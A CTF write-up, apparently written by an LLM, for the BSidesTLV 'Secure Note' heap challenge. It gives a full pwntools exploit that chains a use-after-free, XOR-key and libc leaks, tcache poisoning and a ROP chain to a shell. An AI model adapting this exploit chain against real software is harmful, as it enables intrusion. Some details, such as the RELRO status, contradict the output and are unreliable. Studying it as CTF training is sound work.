Secure Note… or is it?
- Category: Pwn
Description
This note manager claims to be secure, but sometimes security is just an illusion. Can you prove it wrong?
Challenge by Idan Strovinsky
Solution
This challenge was fully solved by an LLM during the competition. This writeup is also the product of an LLM.
Binary Analysis
Security Features
- PIE: Enabled
- NX: Enabled
- Stack Canary: Enabled
- RELRO: Partial
- Architecture: 64-bit ELF
- Libc Version: GLIBC 2.35 (with tcache + tcache key protection)
Key Constraints
- No malloc hooks in GLIBC 2.35 (removed for security)
- Tcache key protection enabled (mangling mitigation)
- XOR encryption on all note data with random key
Application Functionality
Menu Options
- Create note (1-256 bytes)
- Update note
- Read note
- Delete note
- Archive note - Copy to archive pool
- Restore note - Restore from archive
- Purge archived - Delete all archived notes
- Exit
Data Structures
struct note {
int size; // 4 bytes
char *data; // 8 bytes
} notes[16]; // Main pool at 0x4080
struct note archived_pool[16]; // Archive pool at 0x4300
XOR Encryption System
The binary uses a cipher() function that XORs all note data with an 8-byte random key:
void generate_key() {
int fd = open("/dev/urandom", 0);
read(fd, key, 8); // 8 random bytes
close(fd);
}
void cipher(char *data, size_t len) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key[i % 8];
}
}
Impact:
- All
createoperations XOR data with key - All
updateoperations XOR data with key - All
readoperations XOR data with key - Must leak the key to read/write heap metadata
Vulnerability Analysis
Critical Vulnerability: Use-After-Free
The vulnerability exists in the restore_note() function:
int restore_note() {
int idx = get_index();
if (notes_array[2 * idx]) {
return puts("A note already exists at this index.");
}
if (archived_entries[2 * idx]) {
// Copy from archive to notes
notes[idx] = archived_pool[idx];
// BUG: Does NOT null archived_pool[idx]!
return puts("Note restored successfully.");
}
}
The Bug: After restore, archived_pool[idx] still points to the same memory as notes[idx].
Exploitation Sequence
1. Create note at index N
2. Archive note N → archived_pool[N] = notes[N], notes[N] = NULL
3. Restore note N → notes[N] = archived_pool[N]
4. Purge archived → free(archived_pool[N].data)
5. notes[N].data still points to freed memory (UAF!)
Key difference from delete:
delete_note()frees memory AND nulls the pointerpurge_archived()frees memory but we can still access via notes pool
Exploitation Strategy
Phase 1: Leak XOR Key
Method: Double XOR exploitation
1. Create note with known pattern (e.g., 'a'*0x18)
→ Data gets XORed: 'a'*0x18 ^ key
2. Delete note (goes to tcache)
3. Create note again (reuses same chunk)
→ Data gets XORed again: ('a'*0x18 ^ key) ^ key = 'a'*0x18
4. But tcache metadata at offset 0x00-0x10 is overwritten
5. At offset 0x10-0x18, we have: 'a'*0x08 XORed with key
6. Read and XOR with 'a'*0x08 → reveals key
Phase 2: Leak Libc Address
Method: Unsorted bin leak
GLIBC 2.35 tcache behavior:
- Tcache holds up to 7 chunks per size class
- 8th freed chunk goes to unsorted bin
- Unsorted bin chunks have
fd/bkpointing tomain_arena
1. Create 7 chunks of size 0xc8
2. Create 8th chunk (will go to unsorted bin)
3. Create guard chunk (prevent consolidation)
4. Free first 7 chunks → fill tcache
5. Trigger UAF on 8th chunk:
- Archive it
- Restore it
- Purge (frees it into unsorted bin)
6. Read via notes pool → get libc pointer
7. Decrypt with XOR key
8. Calculate libc base: leak - 0x21ace0
Phase 3: Arbitrary Read Primitive
Method: Tcache poisoning with key bypass
GLIBC 2.35 tcache protection:
// Each freed chunk has this key
tcache_key = (uintptr_t)chunk_addr >> 12;
// fd pointer is mangled
fd_stored = fd_actual ^ tcache_key;
Bypass:
1. Create tmp chunk and target chunk (size 0x70)
2. Trigger UAF on target (archive → restore → purge)
3. Read first 8 bytes → this is tcache_key (XORed with cipher key)
4. Decrypt: chunk_key = (read_data ^ cipher_key)
5. Allocate target again
6. Trigger UAF again
7. Free tmp first (need 2 chunks in tcache)
8. Purge target (free into same bin)
9. Overwrite target's fd:
fd = (target_addr ^ (target_addr & 0xf)) ^ chunk_key
encrypted_fd = fd ^ cipher_key
update(target, encrypted_fd)
10. Allocate twice → second allocation returns chunk at target_addr
11. Read from that chunk
Phase 4: Leak Stack Address
Use arbitrary read to leak __environ:
stack_leak = arbitrary_read(libc.sym.__environ - 0x10, 0x18)
stack = u64(stack_leak[0x10:]) & 0xfffffffffffffff0
Why -0x10?
- Need 8-byte alignment
- Avoid overwriting
__environduring allocation
Phase 5: Arbitrary Write Primitive
Same as arbitrary read but:
- Use larger chunk size (0xf0) for more data space
- Write data when allocating the overlapping chunk
Phase 6: Overwrite Return Address
Goal: Gain RIP control by overwriting main’s return address
Why not __free_hook?
- GLIBC 2.35 removed malloc hooks for security
- Must target return address on stack instead
one_gadget constraints:
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
- address rbp-0x78 is writable
- [rsi] == NULL || rsi == NULL
- [rdx] == NULL || rdx == NULL
ROP chain to satisfy constraints:
payload = p64((libc + nop) ^ key) # Padding (8-byte align)
payload += p64((libc + pop_rsi) ^ key) # pop rsi; ret
payload += p64(key) # rsi = 0 (key ^ key = 0)
payload += p64((libc + pop_rbp) ^ key) # pop rbp; ret
payload += p64((stack + 0x200) ^ key) # rbp = writable
payload += p64((libc + pop_rdx_rbx) ^ key) # pop rdx; pop rbx; ret
payload += p64(key) * 2 # rdx = rbx = 0
payload += p64((libc + one_gadget) ^ key) # execve("/bin/sh")
Stack layout:
stack + 0x000: saved rbp
stack - 0x118: return address ← overwrite here
Execution:
- Write ROP chain to return address
- Exit program (option 8)
mainreturns → ROP chain executes → shell!
Important Offsets (GLIBC 2.35)
# Libc offsets
main_arena_offset = 0x21ace0 # For unsorted bin leak
__environ_offset = 0x21a0e0 # Stack leak
# Gadgets (use ROPgadget on libc.so.6)
pop_rsi = 0x000000000002be51
pop_rbp = 0x000000000002a2e0
pop_rdx_rbx = 0x00000000000904a9
nop = 0x00000000000378df
one_gadget = 0xebc88 # Use one_gadget tool
Key Takeaways
- XOR encryption doesn’t prevent exploitation, just adds extra step
- Tcache key protection can be bypassed by leaking the key first
- UAF via archive/restore is subtle - restore doesn’t clear archive pointer
- GLIBC 2.35 requires different approach (no hooks, stack ROP instead)
- Double XOR technique cleverly recovers the cipher key
Full Exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Secure Note PWN Challenge Exploit
Vulnerability: Use-After-Free via archive/restore mechanism
Exploitation: Overwrite return address on stack using arbitrary write
"""
from pwn import *
exe = context.binary = ELF('./chall_remotelibc')
libc = ELF('./libc.so.6')
### Config ###
host = args.HOST or '0.cloud.chals.io'
port = int(args.PORT or 27276)
### Defines ###
MENU_BANNER = "=====[ Menu ]====="
LIBC_OFFSET = 0x21ace0 # main_arena offset
### Globals ###
key = 0
### Gadgets (for one_gadget approach) ###
nop_offset = 0x00000000000378df
pop_rsi = 0x000000000002be51
pop_rbp = 0x000000000002a2e0
pop_rdx_rbx = 0x00000000000904a9
one_gadget = 0xebc88
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
### Wrappers ###
def option(io, op: int):
io.sendlineafter(b">>> ", str(op).encode())
def create(io, idx: int, length: int, data: bytes = b''):
option(io, 1)
io.sendlineafter(b"index: ", str(idx).encode())
io.sendlineafter(b"length: ", str(length).encode())
io.sendlineafter(b"data: ", data)
return idx
def update(io, idx: int, data: bytes):
option(io, 2)
io.sendlineafter(b"index: ", str(idx).encode())
io.sendafter(b"data: ", data)
return idx
def read_note(io, idx: int):
option(io, 3)
io.sendlineafter(b"index: ", str(idx).encode())
io.recvuntil(b"data:\n")
return io.recvuntil(MENU_BANNER.encode())[:-1*len(MENU_BANNER)]
def del_note(io, idx: int):
option(io, 4)
io.sendlineafter(b"index: ", str(idx).encode())
def archive(io, idx: int):
option(io, 5)
io.sendlineafter(b"index: ", str(idx).encode())
return idx
def restore(io, idx: int):
option(io, 6)
io.sendlineafter(b"index: ", str(idx).encode())
return idx
def purge(io):
option(io, 7)
def finish(io):
option(io, 8)
### Helpers ###
def leak_key(io):
"""
Leak the XOR key used for encryption/decryption
Method:
1. Create note with known data 'a'*0x18
2. Delete it (gets XORed with key)
3. Create same-sized note (gets XORed again, double XOR)
4. Read it back and XOR with original data to recover key
"""
note = create(io, 0, 0x28, b'a'*0x18)
del_note(io, note)
note = create(io, 0, 0x28)
# The data at offset 0x10-0x18 is our pattern XORed with key
# Original: 'aaaaaaaa', After: 'aaaaaaaa' ^ key
key = u64(read_note(io, note)[0x10:0x18]) ^ u64(b'a'*8)
# Cleanup
del_note(io, 0)
del_note(io, 1)
return key
def arbitrary_read(io, addr: int, length: int = 8):
"""
Arbitrary read primitive using tcache poisoning
Steps:
1. Create two chunks (tmp and target)
2. Trigger UAF on target: archive → restore → purge
3. Read chunk key from target
4. Allocate target again
5. Free tmp, then purge target (UAF again)
6. Overwrite target's fd with (addr ^ chk_key)
7. Allocate twice to get chunk at target address
8. Read from that chunk
"""
tmp = create(io, 15, 0x70)
target = create(io, 10, 0x70)
### Trigger UAF ###
archive(io, target)
restore(io, target)
purge(io)
# Read chunk key (tcache key protection)
chk_key = u64(read_note(io, target)[:8]) ^ key
log.info(f"chunk_key @ {hex(chk_key)}")
# Allocate the same chunk we freed during UAF
target = create(io, 12, 0x70)
### Trigger UAF again ###
archive(io, target)
restore(io, target)
del_note(io, tmp) # free(tmp) into tcache
purge(io) # free(target) into tcache
# Poison tcache: overwrite fd with our target address
fd_ow = (addr ^ (addr & 0xf)) # 8-byte align
fd_ow = fd_ow ^ chk_key # XOR with chunk key
update(io, target, p64(fd_ow ^ key)) # XOR with cipher key
create(io, 13, 0x70) # Allocate target chunk
overlap = create(io, 15, 0x70) # Get chunk at our address
return read_note(io, overlap)[:length]
def arbitrary_write(io, addr: int, data: bytes):
"""
Arbitrary write primitive using tcache poisoning
Same as arbitrary_read but writes data instead
"""
tmp = create(io, 16, 0xf0)
target = create(io, 17, 0xf0)
### Trigger UAF ###
archive(io, target)
restore(io, target)
purge(io)
# Read chunk key
chk_key = u64(read_note(io, target)[:8]) ^ key
log.info(f"chunk_key @ {hex(chk_key)}")
# Allocate target again
target = create(io, 18, 0xf0)
### Trigger UAF again ###
archive(io, target)
restore(io, target)
del_note(io, tmp)
purge(io)
# Poison tcache
fd_ow = (addr ^ (addr & 0xf)) # 8-byte align
fd_ow = fd_ow ^ chk_key
update(io, target, p64(fd_ow ^ key))
create(io, 19, 0xf0)
overlap = create(io, 20, 0xf0, data) # Write data at target address
### Main Exploit ###
def main():
global key
io = start()
### Phase 1: Leak XOR Key ###
log.info("Phase 1: Leaking XOR key")
key = leak_key(io)
log.success(f"XOR key: {hex(key)}")
### Phase 2: Leak Libc ###
log.info("Phase 2: Leaking libc address")
# Fill tcache (7 chunks) then free 8th into unsorted bin
for idx in range(7):
create(io, idx, 0xc8)
note = create(io, 7, 0xc8) # Will go to unsorted bin
guard = create(io, 8, 0x18) # Prevent consolidation
# Fill tcache
for idx in range(7):
del_note(io, idx)
### Trigger UAF to read unsorted bin chunk ###
archive(io, note)
restore(io, note)
purge(io)
# Unsorted bin fd points to main_arena
leak_libc = u64(read_note(io, note)[:8]) ^ key
libc.address = leak_libc - LIBC_OFFSET
log.success(f"Libc base: {hex(libc.address)}")
### Phase 3: Leak Stack ###
log.info("Phase 3: Leaking stack address")
# Read __environ to get stack address
stack_leak = arbitrary_read(io, libc.sym.__environ - 0x10, 0x18)
stack = u64(stack_leak[0x10:]) & 0xfffffffffffffff0
log.success(f"Stack: {hex(stack)}")
### Phase 4: Overwrite Return Address ###
log.info("Phase 4: Overwriting return address with one_gadget")
# Build ROP chain to satisfy one_gadget constraints
# one_gadget constraint: rsi=NULL, rdx=NULL, rbp is writable
payload = p64((libc.address + nop_offset) ^ key) * 1 # NOP padding
payload += p64((libc.address + pop_rsi) ^ key) # pop rsi; ret
payload += p64(key) # rsi = 0 (key^key)
payload += p64((libc.address + pop_rbp) ^ key) # pop rbp; ret
payload += p64((stack + 0x200) ^ key) # writable address
payload += p64((libc.address + pop_rdx_rbx) ^ key) # pop rdx; pop rbx; ret
payload += p64(key) * 2 # rdx = rbx = 0
payload += p64((libc.address + one_gadget) ^ key) # one_gadget
# Calculate return address location on stack
ret_addr = stack - 0x118
arbitrary_write(io, ret_addr, payload)
log.success("Return address overwritten!")
log.info("Triggering one_gadget by exiting...")
finish(io)
io.interactive()
if __name__ == "__main__":
main()
Output:
$ python3 ../AI_Solve_2/exploit.py LOCAL
[*] '/home/user/CTF/Secure_Note/chall_remotelibc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/home/user/CTF/Secure_Note/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/user/CTF/Secure_Note/chall_remotelibc': pid 2374
[*] Phase 1: Leaking XOR key
[+] XOR key: 0x658363f7e36e324b
[*] Phase 2: Leaking libc address
[+] Libc base: 0x7f33caa00000
[*] Phase 3: Leaking stack address
[*] chunk_key @ 0x557167637
[+] Stack: 0x7ffffc220070
[*] Phase 4: Overwriting return address with one_gadget
[*] chunk_key @ 0x557167637
[+] Return address overwritten!
[*] Triggering one_gadget by exiting...
[*] Switching to interactive mode
$ cat flag.txt
BSidesTLV2025{h34p_x0r_c4nn0t_h1d3_th3_bugs}